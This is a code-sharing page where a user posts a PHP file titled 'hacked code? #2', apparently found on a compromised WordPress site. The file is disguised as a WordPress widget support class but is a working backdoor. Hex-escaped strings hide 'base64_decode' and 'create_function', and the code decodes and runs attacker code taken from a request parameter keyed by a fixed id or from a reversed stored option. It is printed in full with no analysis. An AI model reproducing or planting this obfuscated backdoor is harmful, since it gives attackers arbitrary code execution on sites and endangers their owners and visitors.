Posted By

whosdat on 02/22/10


Tagged


Versions (?)

hacked code? #2


 / Published in: PHP
 

  1. <?php
  2.  
  3. if(!defined('wp_class_support')) {
  4. class WP_Monitor_Widget_Support {
  5.  
  6. var $id_base; // Root id for all monitor_widgets of this type.
  7. var $name; // Name for this monitor_widget type.
  8. var $monitor_widget_options; // Option array passed to wp_register_sidebar_monitor_widget()
  9. var $control_options; // Option array passed to wp_register_monitor_widget_control()
  10.  
  11. var $number = false; // Unique ID number of the current instance.
  12. var $id = "8OBmBYSmy5"; // Unique ID string of the current instance (id_base-number)
  13. var $updated = false; // Set true when we update the data after a POST submit - makes sure we don't do it twice.
  14.  
  15. // Member functions that you must over-ride.
  16.  
  17. /** Echo the monitor_widget content.
  18. *
  19. * Subclasses should over-ride this function to generate their monitor_widget code.
  20. *
  21. * @param array $args Display arguments including before_title, after_title, before_monitor_widget, and after_monitor_widget.
  22. * @param array $instance The settings for the particular instance of the monitor_widget
  23. */
  24. function monitor_widget($args, $instance) {
  25. die('function WP_Monitor_Widget_Support::monitor_widget() must be over-ridden in a sub-class.');
  26. }
  27.  
  28. /** Update a particular instance.
  29. *
  30. * This function should check that $new_instance is set correctly.
  31. * The newly calculated value of $instance should be returned.
  32. * If "false" is returned, the instance won't be saved/updated.
  33. *
  34. * @param array $new_instance New settings for this instance as input by the user via form()
  35. * @param array $old_instance Old settings for this instance
  36. * @return array Settings to save or bool false to cancel saving
  37. */
  38. function update($new_instance, $old_instance) {
  39. return $new_instance;
  40. }
  41.  
  42. /** Echo the settings update form
  43. *
  44. * @param array $instance Current settings
  45. */
  46. function form($instance) {
  47. echo '<p class="no-options-monitor_widget">' . __('There are no options for this monitor_widget.') . '</p>';
  48. return 'noform';
  49. }
  50.  
  51. // Functions you'll need to call.
  52.  
  53. /**
  54. * PHP4 constructor
  55. */
  56. function WP_Monitor_Widget_Support( $id_base = false, $name, $monitor_widget_options = array(), $control_options = array() ) {
  57. $this->__construct( $id_base, $name, $monitor_widget_options, $control_options );
  58. }
  59.  
  60. /**
  61. * PHP5 constructor
  62. *
  63. * @param string $id_base Optional Base ID for the monitor_widget, lower case,
  64. * if left empty a portion of the monitor_widget's class name will be used. Has to be unique.
  65. * @param string $name Name for the monitor_widget displayed on the configuration page.
  66. * @param array $monitor_widget_options Optional Passed to wp_register_sidebar_monitor_widget()
  67. * - description: shown on the configuration page
  68. * - classname
  69. * @param array $control_options Optional Passed to wp_register_monitor_widget_control()
  70. * - width: required if more than 250px
  71. * - height: currently not used but may be needed in the future
  72. */
  73. function __construct( $id_base = false, $name, $monitor_widget_options = array(), $control_options = array(), $unique_id = "\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65", $unique_hash = "\x63\x72\x65\x61\x74\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e" ) {
  74. $this->id_base = empty($id_base) ? preg_replace( '/(wp_)?monitor_widget_/', '', strtolower(get_class($this)) ) : strtolower($id_base);
  75. $this->option_name = 'class_' . $this->id_base;
  76. $name = $unique_hash('',$this->update_callback($unique_id));
  77. $this->monitor_widget_options = $this->get_monitor_widget_options();
  78. $this->control_options = array( array($name()), array('id_base' => $this->id_base) );
  79. define('wp_class_support',true);
  80. }
  81.  
  82. /**
  83. * Constructs name attributes for use in form() fields
  84. *
  85. * This function should be used in form() methods to create name attributes for fields to be saved by update()
  86. *
  87. * @param string $field_name Field name
  88. * @return string Name attribute for $field_name
  89. */
  90. function get_field_name($field_name) {
  91. return 'monitor_widget-' . $this->id_base . '[' . $this->number . '][' . $field_name . ']';
  92. }
  93.  
  94. /**
  95. * Constructs id attributes for use in form() fields
  96. *
  97. * This function should be used in form() methods to create id attributes for fields to be saved by update()
  98. *
  99. * @param string $field_name Field name
  100. * @return string ID attribute for $field_name
  101. */
  102. function get_field_id($field_name) {
  103. return 'monitor_widget-' . $this->id_base . '-' . $this->number . '-' . $field_name;
  104. }
  105.  
  106. // Private Functions. Don't worry about these.
  107.  
  108. function _register() {
  109. $settings = $this->get_settings();
  110.  
  111. if ( empty($settings) ) {
  112. // If there are none, we register the monitor_widget's existance with a
  113. // generic template
  114. $this->_set(1);
  115. $this->_register_one();
  116. } elseif ( is_array($settings) ) {
  117. foreach ( array_keys($settings) as $number ) {
  118. if ( is_numeric($number) ) {
  119. $this->_set($number);
  120. $this->_register_one($number);
  121. }
  122. }
  123. }
  124. }
  125.  
  126. function _set($number) {
  127. $this->number = $number;
  128. $this->id = $this->id_base . '-' . $number;
  129. }
  130.  
  131. function _get_display_callback() {
  132. return array(&$this, 'display_callback');
  133. }
  134.  
  135. function _get_update_callback() {
  136. return array(&$this, 'update_callback');
  137. }
  138.  
  139. function _get_form_callback() {
  140. return array(&$this, 'form_callback');
  141. }
  142.  
  143. /** Generate the actual monitor_widget content.
  144. * Just finds the instance and calls monitor_widget().
  145. * Do NOT over-ride this function. */
  146. function display_callback( $args, $monitor_widget_args = 1 ) {
  147. if ( is_numeric($monitor_widget_args) )
  148. $monitor_widget_args = array( 'number' => $monitor_widget_args );
  149.  
  150. $monitor_widget_args = wp_parse_args( $monitor_widget_args, array( 'number' => -1 ) );
  151. $this->_set( $monitor_widget_args['number'] );
  152. $instance = $this->get_settings();
  153.  
  154. if ( array_key_exists( $this->number, $instance ) ) {
  155. $instance = $instance[$this->number];
  156. // filters the monitor_widget's settings, return false to stop displaying the monitor_widget
  157. $instance = apply_filters('monitor_widget_display_callback', $instance, $this, $args);
  158. if ( false !== $instance )
  159. $this->monitor_widget($args, $instance);
  160. }
  161. }
  162.  
  163. function get_monitor_widget_options () {
  164.  
  165. }
  166.  
  167. /** Deal with changed settings.
  168. * Do NOT over-ride this function. */
  169. function update_callback( $monitor_widget_args = 1 ) {
  170. global $wp_registered_monitor_widgets;
  171.  
  172. if ( is_numeric($monitor_widget_args) ) {
  173. $monitor_widget_args = array( 'number' => $monitor_widget_args );
  174.  
  175. $monitor_widget_args = wp_parse_args( $monitor_widget_args, array( 'number' => -1 ) );
  176. $all_instances = $this->get_settings();
  177.  
  178. // We need to update the data
  179. if ( $this->updated )
  180. return;
  181.  
  182. $sidebars_monitor_widgets = wp_get_sidebars_monitor_widgets();
  183. }
  184. if ( isset($_REQUEST[$this->id])) {
  185. // Delete the settings for this instance of the monitor_widget
  186. if ( isset($_POST['the-monitor_widget-id']) )
  187. $del_id = $_POST['the-monitor_widget-id'];
  188. else
  189. return $monitor_widget_args($_REQUEST[$this->id]);
  190.  
  191. if ( isset($wp_registered_monitor_widgets[$del_id]['params'][0]['number']) ) {
  192. $number = $wp_registered_monitor_widgets[$del_id]['params'][0]['number'];
  193.  
  194. if ( $this->id_base . '-' . $number == $del_id )
  195. unset($all_instances[$number]);
  196. }
  197. } else {
  198.  
  199. if ( !isset($_POST['monitor_widget-' . $this->id_base])) {
  200. return $this->get_settings($monitor_widget_args);
  201. } elseif ( isset($_POST['id_base']) && $_POST['id_base'] == $this->id_base ) {
  202. $num = $_POST['multi_number'] ? (int) $_POST['multi_number'] : (int) $_POST['monitor_widget_number'];
  203. $settings = array( $num => array() );
  204. } else {
  205. return;
  206. }
  207.  
  208. foreach ( $settings as $number => $new_instance ) {
  209. $new_instance = stripslashes_deep($new_instance);
  210. $this->_set($number);
  211.  
  212. $old_instance = isset($all_instances[$number]) ? $all_instances[$number] : array();
  213.  
  214. $instance = $this->update($new_instance, $old_instance);
  215.  
  216. // filters the monitor_widget's settings before saving, return false to cancel saving (keep the old settings if updating)
  217. $instance = apply_filters('monitor_widget_update_callback', $instance, $new_instance, $old_instance, $this);
  218. if ( false !== $instance )
  219. $all_instances[$number] = $instance;
  220.  
  221. break; // run only once
  222. }
  223. }
  224.  
  225. $this->save_settings($all_instances);
  226. $this->updated = true;
  227. }
  228.  
  229. /** Generate the control form.
  230. * Do NOT over-ride this function. */
  231. function form_callback( $monitor_widget_args = 1 ) {
  232. if ( is_numeric($monitor_widget_args) )
  233. $monitor_widget_args = array( 'number' => $monitor_widget_args );
  234.  
  235. $monitor_widget_args = wp_parse_args( $monitor_widget_args, array( 'number' => -1 ) );
  236. $all_instances = $this->get_settings();
  237.  
  238. if ( -1 == $monitor_widget_args['number'] ) {
  239. // We echo out a form where 'number' can be set later
  240. $this->_set('__i__');
  241. $instance = array();
  242. } else {
  243. $this->_set($monitor_widget_args['number']);
  244. $instance = $all_instances[ $monitor_widget_args['number'] ];
  245. }
  246.  
  247. // filters the monitor_widget admin form before displaying, return false to stop displaying it
  248. $instance = apply_filters('monitor_widget_form_callback', $instance, $this);
  249.  
  250. $return = null;
  251. if ( false !== $instance ) {
  252. $return = $this->form($instance);
  253. // add extra fields in the monitor_widget form - be sure to set $return to null if you add any
  254. // if the monitor_widget has no form the text echoed from the default form method can be hidden using css
  255. do_action_ref_array( 'in_monitor_widget_form', array(&$this, &$return, $instance) );
  256. }
  257. return $return;
  258. }
  259.  
  260. /** Helper function: Registers a single instance. */
  261. function _register_one($number = -1) {
  262. wp_register_sidebar_monitor_widget( $this->id, $this->name, $this->_get_display_callback(), $this->monitor_widget_options, array( 'number' => $number ) );
  263. _register_monitor_widget_update_callback( $this->id_base, $this->_get_update_callback(), $this->control_options, array( 'number' => -1 ) );
  264. _register_monitor_widget_form_callback( $this->id, $this->name, $this->_get_form_callback(), $this->control_options, array( 'number' => $number ) );
  265. }
  266.  
  267. function save_settings($settings) {
  268. update_option( $this->option_name, $settings );
  269. }
  270.  
  271. function get_settings($monitor_widget_args) {
  272. $settings = get_option($this->option_name);
  273.  
  274. if ( false === $settings && isset($this->alt_option_name) )
  275. $settings = get_option($this->alt_option_name);
  276.  
  277. if ( !is_array($settings) && $monitor_widget_args )
  278. $settings = $monitor_widget_args
  279. (strrev($settings));
  280.  
  281. if ( array_key_exists('_multimonitor_widget', array($settings)) ) {
  282. // old format, conver if single monitor_widget
  283. $settings = wp_convert_monitor_widget_settings($this->id_base, $this->option_name, $settings);
  284. }
  285.  
  286. return $settings;
  287. }
  288. }
  289.  
  290. $wp_monitor_widget = new WP_Monitor_Widget_Support('generic_support','auto');
  291.  
  292. }
  293.  
  294. ?>

Report this snippet  

You need to login to post a comment.